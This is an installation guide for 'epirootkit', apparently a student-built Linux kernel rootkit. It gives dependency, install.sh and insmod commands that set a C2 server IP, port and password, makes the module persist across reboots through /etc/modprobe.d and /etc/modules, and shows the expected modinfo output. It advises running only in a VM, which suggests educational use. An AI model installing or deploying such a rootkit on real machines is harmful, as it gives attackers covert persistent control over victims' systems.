Install the rootkit
Now that you have a working VM, you can launch the rootkit.
Always do these steps in a virtual machine
Installing dependencies
In order to build the rootkit, you must install the following dependencies:
build-essentiallinux-headers
You can install them with the following command:
sudo apt install build-essential linux-headers-$(uname -r)
Installing the rootkit
An installation script is provided in this repo to automate the installation and make it simpler. To install the module, execute the following command in the module-creation folder:
sudo ./install.sh install <ip> <port> <password> <debug true|false>
| Parameter | Description |
|---|---|
ip | IP address of the C2 (attacking) server |
port | Port the C2 server is listening on |
password | Password used to authenticate to the rootkit from the C2 interface |
debug | Set to true to enable kernel logs, false to disable them |
Usage example
sudo ./install.sh install 127.0.0.1 4242 letshackpedro false
Note: the included install.sh script writes an options line to /etc/modprobe.d/epirootkit.conf and ensures the module is listed in /etc/modules. The script has been updated to safely write the options line and append the module name to /etc/modules without overwriting it.
If you prefer to insert the module manually, compute the SHA-256 hash and run:
PASSWORD_HASH=$(echo -n "<password>" | sha256sum | cut -d' ' -f1)
sudo insmod epirootkit.ko password_hash="$PASSWORD_HASH" ip="<ip>" port="<port>" debug-mode=1
Verifying the installation
To verify that the module is correctly installed, run the following command:
modinfo epirootkit
If the module is correctly installed, you should see the following output. If you do not see it, the installation was not successful.
filename: /lib/modules/5.4.0-182-generic/kernel/drivers/rk_file_epirootkit/epirootkit.ko
author: hector.thubert <hector.thubert@epita.fr>, louis.gallet <louis.gallet@epita.fr>, arthur.certin <arthur.certin@epita.fr>
description: Modules file for the implementation of epirootkit
license: GPL
srcversion: 60D0CC4203A8B88E5FDEDB3
depends:
name: epirootkit
retpoline: Y
vermagic: 5.4.0-182-generic SMP mod_unload modversions